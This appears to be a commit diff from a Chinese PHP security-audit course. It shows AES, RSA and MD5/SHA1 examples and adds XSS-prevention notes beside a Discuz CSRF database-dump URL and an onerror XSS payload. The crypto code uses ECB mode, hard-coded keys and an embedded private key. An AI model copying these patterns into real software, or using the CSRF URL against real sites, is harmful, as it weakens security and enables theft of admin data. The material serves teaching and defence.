header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用AES加密算法举例:"."<br />";
class Aes{
public $_secrect_key='123456789';//密钥
function Aes($key){
$this->_secrect_key = $key;
}
/**
* 加密方法
* @param string $str
* return string
*/
function encrypt($str){
//AES, 128 ECB 模式加密数据
$screct_key = $this->_secrect_key;
$screct_key = base64_decode($screct_key);
$str = trim($str);
$str = $this->addPKCS7Padding($str);
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_ECB),MCRYPT_RAND);
$encrypt_str = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$screct_key,$str,MCRYPT_MODE_ECB, $iv);
return base64_encode($encrypt_str);
}
/**解密方法
* @param string $str
* @return string
*/
function decrypt($str){
//AES, 128 ECB 模式加密数据
$screct_key = $this->_secrect_key;
$str = base64_decode($str);
$screct_key = base64_decode($screct_key);
$iv = mcrypt_create_iv (mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB),MCRYPT_RAND);
$encrypt_str = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$screct_key,$str, MCRYPT_MODE_ECB,$iv);
$encrypt_str = trim($encrypt_str);
$encrypt_str = $this->stripPKSC7Padding($encrypt_str);
return $encrypt_str;
}
/**填充算法
* @param string $source
* @return string
*/
function addPKCS7Padding($source){
$source = trim($source);
$block = mcrypt_get_block_size('rijndael-128', 'ecb');
$pad = $block - (strlen($source) % $block);
if ($pad <= $block){
$char = chr($pad);
$source .= str_repeat($char,$pad);
}
return $source;
}
/**移去填充算法
* Qparam string $source
* return string
*/
function stripPKSC7Padding($source){
$source = trim($source);
$char = substr($source,-1);
$num = ord($char);
if($num==62) return $source;
$source = substr($source,0,-$num);
return $source;
}
}
//这个加密类使用起来也相当简单:
$rep=new Aes('123456789');
$input="hello aes";
echo "原文:" . $input. "<br />";
$encrypt_card=$rep->encrypt($input);
echo "加密:" . $encrypt_card. "<br />";
echo "解密:" . $rep->decrypt($rep->encrypt($input));
?>
```
```
http://localhost/2020CodeAudit/c10/10-1-2-aes.php
```
结果:
```
PHP使用AES加密算法举例:
原文:hello aes
加密:108Ts7vcLcvkhfDv1PgIMA==
解密:hello aes
```
## 1.4. RSA加密
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP生成RSA密钥:"."<br />";
set_time_limit(0);
include("./Crypt/RSA.php");
$rsa = new Crypt_RSA();
extract($rsa->createKey());
echo "$privatekey" . '<br />' . "$publickey";
?>
```
```
http://localhost/2020CodeAudit/c10/phpseclib/10-2-generateRSAkey.php
```
```
PHP生成RSA密钥:
-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDVPFtEVTY/ANoohAq3k5VrRJuQpQbcd7lq5dFgPm3Rkkvi31nG zGVm4BKjice3HYX82aT+dbzV/B4AoHcGwarbT0cRL5Pl12x4vFRFevC/NU7fES4z WRRar4ZSY+iBKxDJuMkvXsrAWo3LLRWj+aJHKZ9pUZHJmD2Aqysm+6rWEQIDAQAB AoGAXvOsdGY5bJ61hnsdxpc6XvTDDQrfXkcV0ssZi/DguAScNB9e+85CjSfUROxy eVD1PB2ygfjtqJ/GwGKz/dc5e/SpFGBJGjPMwqElHsXhHUMbai8rODJQ9Fp1HOy/ shLM3rsVMPcG3tQYIbq23fp46xrtTN2LH6pRp8qRHUsQP5ECQQD0sHZRK19gFyCn FZzqULuQrimJZhHAszVYwUmTuCJqKGDILkScSjNlnGPe1ZMcin4R8Np6gy2lJRPN x6A+BDfFAkEA3xewISSq82G+hqMFsyCR7T0E2AJQcWlygTAmFl7AHvbV6K87rEQX +rumG39ncUz3a4X2P50GRh8rjbhfYNX93QJAJWc8DthUcfnXEfNp0x+YLFuTGd+y YwSB6RlSx/PjvtqBQNhhwIpPJP8s/Qkkvb4l21Q38XZP6eirCE+1nQVECQJAbzl+ JGgFmuXmeXWZh977Ig5D9fXhaUmrPuFke86tdkKWDzYeSBqC4gzgGeGBDynSSRc2 2CxPTnKH4lZDpyHJOQJBANMqS0nTJQ1tNRBvGybAT6fkIkcyZFATqqJy77Z3BbAP N2ox9li4mxXQsN32cY5U1DanGGjfjfsX0twYQ0igzbs= -----END RSA PRIVATE KEY-----
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVPFtEVTY/ANoohAq3k5VrRJuQ pQbcd7lq5dFgPm3Rkkvi31nGzGVm4BKjice3HYX82aT+dbzV/B4AoHcGwarbT0cR L5Pl12x4vFRFevC/NU7fES4zWRRar4ZSY+iBKxDJuMkvXsrAWo3LLRWj+aJHKZ9p UZHJmD2Aqysm+6rWEQIDAQAB -----END PUBLIC KEY-----
```
用 $rsa->encrypt($plaintext);函数用来加密用 $rsa->decrypt($ciphertext) 来解密并输出明文字符串“cuit.edu.cn"
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP RSA加解密示例:"."<br />";
set_time_limit(0);
$PUBLIC_KEY = '-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCG2OewYkM9hQOJdthogOoj+8HO rJiZ+HXw8C3wbeu4cDcz0P/XgqneyfXpEFadEanRlCRySzAlz0ki7xI0lhFzqw1K OmsUTaOCrtGMsDFQ72io6Ln98hbqFnS3Pc8S0DhYAHrdvFmUyh/QcRJrWRbcQsV4 sG1ThpqjzwTgJLhYjwIDAQAB -----END PUBLIC KEY-----';
$PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCG2OewYkM9hQOJdthogOoj+8HOrJiZ+HXw8C3wbeu4cDcz0P/X gqneyfXpEFadEanRlCRySzAlz0ki7xI0lhFzqw1KOmsUTaOCrtGMsDFQ72io6Ln9 8hbqFnS3Pc8S0DhYAHrdvFmUyh/QcRJrWRbcQsV4sG1ThpqjzwTgJLhYjwIDAQAB AoGAFW+oDnvjE4Wwb8BNm6ND//oMBPZJVfn6NGsslQgW951txmtxgvQPBqRqq/pA bTylwclqgnlzCyJTY93HB5wEOaDjJBSa/niHyRVnPQM51eIlNAmE18Lq77V/2QXh eL/fjmLc8MSjvfdbHJd/de4UewXE0N9fhc/TFXhqqtO1+X0CQQCKsYYmdDj2mkpy VZs/1Zn4xysocjw3OBp7dDG4Zihzik07qdLDmx9skFyxsMVw6igIPuIPvrbf1fLf SotKaHfDAkEA+OaXytfOwAYUbOqwbeJfigXDSjAgpqzU4LqmM3PeFGFSCgRShlJy lhypxYPb2tJaR3JWUzhPuyl0oJ4Wbe+bRQJASGMBLj7IoETFCEmP3tBALWzeJJ0C uptIjxiE/sYq5KrRRouLGlZzHzl1d7RYSGed/ze6yxbx4X+L5GjGrE47+wJAVeKL wiyRZOU0KxkYY/JW8TNn3bOZsKm2kw0UyHBU00d5nYc8SqksbOvbERKczHcFO94S N4kYygZV/g5OwwSI2QJAdGV4N43bK6DwWcpvAVD/KTlprvGUdHHol5Pe8CtipMr9 oE9qljXzppyzS9vVrf+6KtTDgIIivosxnrHHPyIOmQ== -----END RSA PRIVATE KEY-----';
include('./Crypt/RSA.php');
$rsa = new Crypt_RSA();
$rsa->loadKey($PUBLIC_KEY) ; // 载入公钥
$plaintext = 'cuit.edu.cn';
$rsa->setEncryptionMode(CRYPT_RSA_ENCRYPTION_PKCS1);
$ciphertext = $rsa->encrypt($plaintext);//加密函数
$rsa->loadKey($PRIVATE_KEY) ; // 载入私钥
echo $ciphertext."<br /> "."<br />"."<br /> ";
echo $rsa->decrypt($ciphertext);//解密函数
?>
```
```
http://localhost/2020CodeAudit/c10/phpseclib/10-2-RSAdecode.php
```
运行结果
```
PHP RSA加解密示例:
2Ȁ-:[ 'Er0pFc, Ә?vH.r$9?@,-- !ިZ<<e\%x
cuit.edu.cn
```
## 1.5. 单向加密
MD系列(md4、md5) 和shal等
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "PHP使用MD5和sha1加密算法举例:"."<br />";
echo 'phpsec md5: '.md5('xinan');
echo '<br /> ';
echo 'phpsec sha1: '.sha1('xinan');
?>
```
```
http://localhost/2020CodeAudit/c10/10-3-md5.php
```
结果:
```
PHP使用MD5和sha1加密算法举例:
phpsec md5: d71e1f2ea8307656a8a02136116e1b7b
phpsec sha1: 28c2e7fbf2f6f121a2643d620424b6f9bf6b8d10
```
Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

+14
View File
@@ -6,6 +6,7 @@
- [1.2.3. espcms搜索注入分析](#123-espcms搜索注入分析) - [1.2.3. espcms搜索注入分析](#123-espcms搜索注入分析)
- [1.3. 漏洞防范](#13-漏洞防范) - [1.3. 漏洞防范](#13-漏洞防范)
- [2. XSS漏洞](#2-xss漏洞) - [2. XSS漏洞](#2-xss漏洞)
- [2.1. XSS漏洞防范](#21-xss漏洞防范)
- [3. CSRF漏洞(跨站请求伪造)](#3-csrf漏洞跨站请求伪造) - [3. CSRF漏洞(跨站请求伪造)](#3-csrf漏洞跨站请求伪造)
- [3.1. Discuz CSRF备份拖库分析](#31-discuz-csrf备份拖库分析) - [3.1. Discuz CSRF备份拖库分析](#31-discuz-csrf备份拖库分析)
- [3.2. CSRF漏洞防范](#32-csrf漏洞防范) - [3.2. CSRF漏洞防范](#32-csrf漏洞防范)
@@ -337,6 +338,17 @@ http://localhost/74cms/admin/admin_index.php
<span style="color:#FF6600" title="&lt;img src=1 onerror=alert(1) border=0/&gt;" class="vtip">[logo]</span> <span style="color:#FF6600" title="&lt;img src=1 onerror=alert(1) border=0/&gt;" class="vtip">[logo]</span>
``` ```
## 2.1. XSS漏洞防范
- 过滤掉相关的特殊字符
- 标签事件属性黑白名单
- 输出编码:htmlspecialchars()函数
- 防御DOM XSS
- 避免客户端敏感操作
- 分析和强化客户端的JavaScript代码
- Anti-XSS
- HttpOnly
# 3. CSRF漏洞(跨站请求伪造) # 3. CSRF漏洞(跨站请求伪造)
CSRF主要是用于越权操作所有漏洞自然在有权限控制的地方,像管理后台、会员中心、论坛帖子以及交易管理等从白盒角度来说,只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码这里的核心文件指的是被大量文件引用的基础文件。 CSRF主要是用于越权操作所有漏洞自然在有权限控制的地方,像管理后台、会员中心、论坛帖子以及交易管理等从白盒角度来说,只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码这里的核心文件指的是被大量文件引用的基础文件。
@@ -374,6 +386,8 @@ $backupfilename = './data/'.$backupdir.'/'.str_replace(array('/', '\\', '.', "'"
http://localhost/discuz/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables[]=pre_ucenter_admins&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=xinan&exportsubmit=%CC%E1%BD%BB22 http://localhost/discuz/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables[]=pre_ucenter_admins&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=xinan&exportsubmit=%CC%E1%BD%BB22
``` ```
> 注意,URL地址中有个参数是你需要备份的数据表的名字,请确认和你的安装数据表名是一致的。
思考:如何得到漏洞的访问地址? 思考:如何得到漏洞的访问地址?
## 3.2. CSRF漏洞防范 ## 3.2. CSRF漏洞防范